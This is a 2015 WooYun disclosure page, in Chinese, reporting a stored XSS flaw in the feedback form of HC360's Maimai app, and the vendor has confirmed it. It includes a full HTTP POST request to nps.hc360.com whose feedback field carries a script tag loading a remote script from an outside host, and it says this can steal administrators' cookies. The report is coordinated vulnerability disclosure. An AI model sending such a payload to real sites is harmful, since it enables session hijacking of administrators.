当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102469

漏洞标题：某反馈区域存在xss漏洞

相关厂商：慧聪网

漏洞作者： jaffer

提交时间：2015-03-20 17:39

修复时间：2015-05-04 19:20

公开时间：2015-05-04 19:20

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-20： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-30： 细节向核心白帽子及相关领域专家公开
2015-04-09： 细节向普通白帽子公开
2015-04-19： 细节向实习白帽子公开
2015-05-04： 细节向公众公开

简要描述：

rt可以获取管理员的cookie

详细说明：

1、卖卖是一款慧聪网的app。里面的意见反馈是存在xss问题的。
2.发送数据包：

POST /nps/sgst/collection.html HTTP/1.1
enctype: multipart/form-data
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: 56
Authorization: 2265326B2AC15C22FD5C3DD778D2E957
Content-Length: 525
Host: nps.hc360.com
Connection: Keep-Alive
Expect: 100-continue
v=%257B%2522systype%2522%253A%252211%2522%252C%2522title%2522%253A%2522%25E5%258D%2596%25E5%258D%2596%25E5%258F%258D%25E9%25A6%2588%2522%252C%2522username%2522%253A%2522A0000043C221AC%2522%252C%2522email%2522%253A%252218202758883%2522%252C%2522ssoid%2522%253A%2522%2522%252C%2522typeid%2522%253A%25225%2522%252C%2522suggestion%2522%253A%2522I <script src=http://x.co/******>（该处改成攻击脚本，也就是反馈内容）%2522%252C%2522usertype%2522%253A%25220%2522%252C%2522businessvalue%2522%253A%2522%2522%252C%2522productline%2522%253A%252211%2522%257D


然后就OK了。

漏洞证明：

xss漏洞如下：

111.jpg

修复方案：

过滤

版权声明：转载请注明来源 jaffer@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-03-20 19:18

厂商回复：

谢谢您

最新状态：

暂无